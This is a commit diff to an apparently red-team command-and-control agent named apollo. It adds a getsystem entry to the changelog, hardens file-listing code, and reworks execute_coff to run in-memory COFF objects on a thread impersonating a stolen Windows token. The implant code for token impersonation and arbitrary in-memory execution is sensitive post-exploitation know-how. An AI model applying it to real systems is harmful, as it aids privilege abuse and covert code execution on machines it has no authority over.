Skip to content

Commit 3fec7a9

Browse files
committed
adding getsystem, fixing ls, updating execute_coff
1 parent f92ed35 commit 3fec7a9

File tree

11 files changed

+357
-34
lines changed

11 files changed

+357
-34
lines changed

Payload_Type/apollo/CHANGELOG.MD

+8
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
55
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
66

7+
## [v2.3.4] - 2025-03-03
8+
9+
### Changed
10+
11+
- Fixed a bug in `ls` that would fail to return data about files/folders if apollo couldn't get full information
12+
- Added a `getsystem` command
13+
- Updated `execute_coff` to spin off a new thread and set the impersonation context on that thread
14+
715
## [v2.3.3] - 2025-02-28
816

917
### Changed

Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs

+36-5
Original file line numberDiff line numberDiff line change
@@ -302,11 +302,27 @@ public FileInformation(FileInfo finfo, ACE[] perms = null)
302302
ModifyTime = (Int64)((TimeSpan)(finfo.LastWriteTimeUtc - unixEpoc)).TotalSeconds * 1000;
303303
AccessTime = (Int64)((TimeSpan)(finfo.LastAccessTime - unixEpoc)).TotalSeconds * 1000;
304304
Permissions = perms;
305-
ExtendedAttributes = finfo.Attributes.ToString();
305+
try
306+
{
307+
ExtendedAttributes = finfo.Attributes.ToString();
308+
}
309+
catch(Exception ex)
310+
{
311+
ExtendedAttributes = "";
312+
}
313+
306314
Size = finfo.Length;
307315
IsFile = true;
308-
Owner = File.GetAccessControl(finfo.FullName).
316+
try
317+
{
318+
Owner = File.GetAccessControl(finfo.FullName).
309319
GetOwner(typeof(System.Security.Principal.NTAccount)).ToString();
320+
}
321+
catch (Exception ex)
322+
{
323+
Owner = "";
324+
}
325+
310326
Group = "";
311327
Hidden = ((finfo.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden);
312328
}
@@ -321,11 +337,26 @@ public FileInformation(DirectoryInfo finfo, ACE[] perms = null)
321337
ModifyTime = (Int64)((TimeSpan)(finfo.LastWriteTimeUtc - unixEpoc)).TotalSeconds * 1000;
322338
AccessTime = (Int64)((TimeSpan)(finfo.LastAccessTime - unixEpoc)).TotalSeconds * 1000;
323339
Permissions = perms;
324-
ExtendedAttributes = finfo.Attributes.ToString();
340+
try
341+
{
342+
ExtendedAttributes = finfo.Attributes.ToString();
343+
}
344+
catch(Exception ex)
345+
{
346+
ExtendedAttributes = "";
347+
}
348+
325349
Size = 0;
326350
IsFile = false;
327-
Owner = File.GetAccessControl(finfo.FullName).
328-
GetOwner(typeof(System.Security.Principal.NTAccount)).ToString();
351+
try
352+
{
353+
Owner = File.GetAccessControl(finfo.FullName).
354+
GetOwner(typeof(System.Security.Principal.NTAccount)).ToString();
355+
356+
}catch(Exception ex)
357+
{
358+
Owner = "";
359+
}
329360
Group = "";
330361
Hidden = ((finfo.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden);
331362
}

Payload_Type/apollo/apollo/agent_code/ExecutePE.Standalone/Program.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ private static int Main(string[] args)
3232
CommandLine = peCommandLine,
3333
};
3434

35-
PERunner.RunPE(message);
35+
//PERunner.RunPE(message);
3636
return 0;
3737
}
3838
}

Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -727,7 +727,7 @@ public override bool StartWithCredentials(ApolloLogonInformation logonInfo)
727727
logonInfo.Username,
728728
logonInfo.Domain,
729729
logonInfo.Password,
730-
LogonType.LOGON32_LOGON_NEW_CREDENTIALS,
730+
logonInfo.NetOnly?LogonType.LOGON32_LOGON_NEW_CREDENTIALS:LogonType.LOGON32_LOGON_INTERACTIVE,
731731
LogonProvider.LOGON32_PROVIDER_WINNT50,
732732
out hToken);
733733
if (!bRet)

Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs

+221-15
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,9 @@
1515
using System.Collections.Generic;
1616
using System.Runtime.InteropServices;
1717
using System.Runtime.Serialization;
18+
using System.Security.Principal;
1819
using System.Text;
20+
using System.Threading;
1921
using static Tasks.execute_coff;
2022

2123

@@ -31,7 +33,7 @@ internal struct CoffParameters
3133
[DataMember(Name = "function_name")]
3234
public string FunctionName;
3335
[DataMember(Name = "timeout")]
34-
public string timeout;
36+
public int timeout;
3537
[DataMember(Name = "coff_arguments")]
3638
public String PackedArguments;
3739
[DataMember(Name = "bof_id")]
@@ -48,6 +50,14 @@ internal struct CoffParameters
4850

4951
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
5052
public delegate IntPtr BeaconGetOutputDataDelegate([In, Out] ref int outsize);
53+
// Add imported SetThreadToken API for thread token manipulation
54+
[DllImport("advapi32.dll", SetLastError = true)]
55+
private static extern bool SetThreadToken(
56+
ref IntPtr ThreadHandle,
57+
IntPtr Token);
58+
59+
[DllImport("kernel32.dll", SetLastError = true)]
60+
private static extern IntPtr GetCurrentThread();
5161

5262
private static RunCOFFDelegate? _RunCOFF;
5363
private static UnhexlifyDelegate? _Unhexlify;
@@ -982,14 +992,158 @@ public static bool LoadDLL(byte[] dllBytes)
982992
}
983993
return true;
984994
}
995+
// Class to hold the state for COFF execution thread
996+
private class COFFExecutionState
997+
{
998+
public IAgent Agent { get; set; }
999+
public string FunctionName { get; set; }
1000+
public IntPtr CoffData { get; set; }
1001+
public uint FileSize { get; set; }
1002+
public IntPtr ArgumentData { get; set; }
1003+
public int ArgumentSize { get; set; }
1004+
public int Status { get; set; }
1005+
public AutoResetEvent CompletionEvent { get; set; }
1006+
public string Output { get; set; }
1007+
public Exception Error { get; set; }
1008+
}
1009+
1010+
// Method to run COFF in a separate thread
1011+
private static void ExecuteCOFFThreadFunc(object state)
1012+
{
1013+
COFFExecutionState executionState = (COFFExecutionState)state;
1014+
IAgent agent = executionState.Agent;
1015+
try
1016+
{
1017+
DebugHelp.DebugWriteLine($"Starting COFF execution in thread {Thread.CurrentThread.ManagedThreadId}");
1018+
WindowsImpersonationContext tokenApplied;
1019+
if (!agent.GetIdentityManager().IsOriginalIdentity())
1020+
{
1021+
DebugHelp.DebugWriteLine("Applying impersonation token to COFF execution thread");
1022+
try
1023+
{
1024+
// Impersonate the current identity in this new thread
1025+
tokenApplied = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Impersonate();
1026+
DebugHelp.DebugWriteLine($"Successfully applied token for {agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name} to COFF thread");
1027+
// Debug information about the current token
1028+
WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent();
1029+
DebugHelp.DebugWriteLine($"Thread identity after impersonation attempt: {currentThreadIdentity.Name}");
1030+
//DebugHelp.DebugWriteLine($"Thread token type: {currentThreadIdentity.Token.ToInt64():X}");
1031+
//DebugHelp.DebugWriteLine($"Is authenticated: {currentThreadIdentity.IsAuthenticated}");
1032+
//DebugHelp.DebugWriteLine($"Authentication type: {currentThreadIdentity.AuthenticationType}");
1033+
1034+
// List of groups/claims
1035+
//DebugHelp.DebugWriteLine("Token groups/claims:");
1036+
//foreach (var claim in currentThreadIdentity.Claims)
1037+
//{
1038+
// DebugHelp.DebugWriteLine($" - {claim.Type}: {claim.Value}");
1039+
//}
1040+
1041+
// Compare with expected identity
1042+
string expectedName = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name;
1043+
DebugHelp.DebugWriteLine($"Expected identity: {expectedName}");
1044+
DebugHelp.DebugWriteLine($"Identity match: {expectedName == currentThreadIdentity.Name}");
1045+
1046+
}
1047+
catch (Exception ex)
1048+
{
1049+
DebugHelp.DebugWriteLine($"Error applying token to thread: {ex.Message}");
1050+
// Fallback to using SetThreadToken API directly
1051+
IntPtr threadHandle = GetCurrentThread();
1052+
IntPtr tokenHandle = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Token;
1053+
1054+
bool result = SetThreadToken(ref threadHandle, tokenHandle);
1055+
if (result)
1056+
{
1057+
DebugHelp.DebugWriteLine("Successfully applied token using SetThreadToken API");
1058+
// Verify identity after SetThreadToken
1059+
WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent();
1060+
DebugHelp.DebugWriteLine($"Thread identity after SetThreadToken: {currentThreadIdentity.Name}");
1061+
}
1062+
else
1063+
{
1064+
int error = Marshal.GetLastWin32Error();
1065+
DebugHelp.DebugWriteLine($"SetThreadToken failed with error: {error}");
1066+
}
1067+
}
1068+
}
1069+
else
1070+
{
1071+
DebugHelp.DebugWriteLine("Using original identity for COFF execution");
1072+
try
1073+
{
1074+
WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent();
1075+
DebugHelp.DebugWriteLine($"Thread identity (original): {currentThreadIdentity.Name}");
1076+
}
1077+
catch (Exception ex)
1078+
{
1079+
DebugHelp.DebugWriteLine($"Error getting current identity: {ex.Message}");
1080+
}
1081+
}
1082+
// Execute the COFF
1083+
executionState.Status = _RunCOFF(
1084+
executionState.FunctionName,
1085+
executionState.CoffData,
1086+
executionState.FileSize,
1087+
executionState.ArgumentData,
1088+
executionState.ArgumentSize);
1089+
1090+
DebugHelp.DebugWriteLine($"COFF execution completed with status: {executionState.Status}");
1091+
1092+
// Get output data if execution was successful
1093+
if (executionState.Status == 0)
1094+
{
1095+
int outdataSize = 0;
1096+
IntPtr outdata = _BeaconGetOutputData(ref outdataSize);
1097+
1098+
if (outdata != IntPtr.Zero && outdataSize > 0)
1099+
{
1100+
byte[] outDataBytes = new byte[outdataSize];
1101+
Marshal.Copy(outdata, outDataBytes, 0, outdataSize);
1102+
executionState.Output = Encoding.Default.GetString(outDataBytes);
1103+
DebugHelp.DebugWriteLine($"Retrieved {outdataSize} bytes of output data");
1104+
}
1105+
else
1106+
{
1107+
executionState.Output = "No Output";
1108+
DebugHelp.DebugWriteLine("No output data was returned from COFF execution");
1109+
}
1110+
}
1111+
else
1112+
{
1113+
DebugHelp.DebugWriteLine($"COFF execution failed with status: {executionState.Status}");
1114+
}
1115+
try
1116+
{
1117+
DebugHelp.DebugWriteLine("Reverting impersonation in COFF thread");
1118+
WindowsIdentity.Impersonate(IntPtr.Zero);
1119+
}
1120+
catch (Exception ex)
1121+
{
1122+
DebugHelp.DebugWriteLine($"Error reverting impersonation: {ex.Message}");
1123+
}
1124+
1125+
}
1126+
catch (Exception ex)
1127+
{
1128+
DebugHelp.DebugWriteLine($"Exception in COFF execution thread: {ex.Message}");
1129+
DebugHelp.DebugWriteLine($"Exception stack trace: {ex.StackTrace}");
1130+
executionState.Error = ex;
1131+
}
1132+
finally
1133+
{
1134+
// Signal that execution is complete
1135+
DebugHelp.DebugWriteLine("Signaling COFF execution completion");
1136+
executionState.CompletionEvent.Set();
1137+
}
1138+
}
9851139
public override void Start()
9861140
{
9871141
MythicTaskResponse resp;
9881142

9891143
try
9901144
{
9911145
CoffParameters parameters = _jsonSerializer.Deserialize<CoffParameters>(_data.Parameters);
992-
if (string.IsNullOrEmpty(parameters.CoffName) || string.IsNullOrEmpty(parameters.FunctionName) || string.IsNullOrEmpty(parameters.timeout))
1146+
if (string.IsNullOrEmpty(parameters.CoffName) || string.IsNullOrEmpty(parameters.FunctionName))
9931147
{
9941148
resp = CreateTaskResponse(
9951149
$"One or more required arguments was not provided.",
@@ -1040,27 +1194,78 @@ public override void Start()
10401194
IntPtr coffArgs = _Unhexlify(parameters.PackedArguments, ref coffArgsSize);
10411195
IntPtr RunCOFFinputBuffer = Marshal.AllocHGlobal(coffBytes.Length * sizeof(byte));
10421196
Marshal.Copy(coffBytes, 0, RunCOFFinputBuffer, coffBytes.Length);
1043-
_agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("",false, $"Executing COFF {parameters.CoffName}"));
1044-
int status = _RunCOFF(parameters.FunctionName, RunCOFFinputBuffer, (uint)coffBytes.Length, coffArgs, coffArgsSize);
1045-
Marshal.FreeHGlobal(RunCOFFinputBuffer);
1046-
if (status == 0)
1197+
_agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("[*] Starting COFF Execution...\n\n",false, $"Executing COFF {parameters.CoffName}"));
1198+
// Create execution state object
1199+
COFFExecutionState executionState = new COFFExecutionState
10471200
{
1048-
IntPtr outdata = _BeaconGetOutputData(ref outdataSize);
1049-
if (outdata != null)
1201+
Agent = _agent,
1202+
FunctionName = parameters.FunctionName,
1203+
CoffData = RunCOFFinputBuffer,
1204+
FileSize = (uint)coffBytes.Length,
1205+
ArgumentData = coffArgs,
1206+
ArgumentSize = coffArgsSize,
1207+
CompletionEvent = new AutoResetEvent(false),
1208+
Output = "No Output"
1209+
};
1210+
try
1211+
{
1212+
// Start execution in a separate thread
1213+
DebugHelp.DebugWriteLine("Starting COFF execution thread");
1214+
Thread executionThread = new Thread(new ParameterizedThreadStart(ExecuteCOFFThreadFunc));
1215+
executionThread.IsBackground = true; // Make thread a background thread so it doesn't keep process alive
1216+
executionThread.Start(executionState);
1217+
1218+
// Wait for the thread to complete or timeout
1219+
DebugHelp.DebugWriteLine($"Waiting for COFF execution to complete (timeout: {parameters.timeout * 1000} ms)");
1220+
int timeout = parameters.timeout * 1000 > 0 ? parameters.timeout * 1000 : -1;
1221+
bool completed = executionState.CompletionEvent.WaitOne(timeout);
1222+
1223+
if (!completed)
1224+
{
1225+
// Execution timed out
1226+
executionThread.Abort();
1227+
DebugHelp.DebugWriteLine("COFF execution timed out");
1228+
resp = CreateTaskResponse(
1229+
$"COFF execution timed out after {parameters.timeout} seconds",
1230+
true,
1231+
"error");
1232+
}
1233+
else if (executionState.Error != null)
1234+
{
1235+
// Execution threw an exception
1236+
Exception ex = executionState.Error;
1237+
DebugHelp.DebugWriteLine($"COFF execution threw exception: {ex.Message}");
1238+
resp = CreateTaskResponse(
1239+
$"Exception during COFF execution: {ex.Message} \nLocation: {ex.StackTrace}",
1240+
true,
1241+
"error");
1242+
}
1243+
else if (executionState.Status != 0)
10501244
{
1051-
byte[] outData = new byte[outdataSize];
1052-
Marshal.Copy(outdata, outData, 0, outdataSize);
1053-
resp = CreateTaskResponse(Encoding.Default.GetString(outData), true);
1054-
} else
1245+
// Execution completed with an error status
1246+
DebugHelp.DebugWriteLine($"COFF execution failed with status: {executionState.Status}");
1247+
resp = CreateTaskResponse(
1248+
$"RunCOFF failed with status: {executionState.Status}",
1249+
true,
1250+
"error");
1251+
}
1252+
else
10551253
{
1056-
resp = CreateTaskResponse("No Output", true);
1254+
// Execution completed successfully
1255+
DebugHelp.DebugWriteLine("COFF execution completed successfully");
1256+
resp = CreateTaskResponse(executionState.Output, true);
10571257
}
1058-
} else
1258+
}
1259+
finally
10591260
{
1060-
resp = CreateTaskResponse($"RunCOFF Failed with status: {status}", true, "error");
1261+
// Clean up resources
1262+
DebugHelp.DebugWriteLine("Cleaning up COFF execution resources");
1263+
Marshal.FreeHGlobal(RunCOFFinputBuffer);
1264+
// No need to free coffArgs as it's managed by the COFF loader
10611265
}
10621266
}
10631267

1268+
10641269
catch (Exception ex)
10651270
{
10661271
DebugHelp.DebugWriteLine($"Exception: {ex.Message}");
@@ -1069,6 +1274,7 @@ public override void Start()
10691274
}
10701275

10711276
_agent.GetTaskManager().AddTaskResponseToQueue(resp);
1277+
_agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("\n[*] COFF Finished.", true));
10721278
}
10731279
}
10741280
}

0 commit comments

Comments
 (0)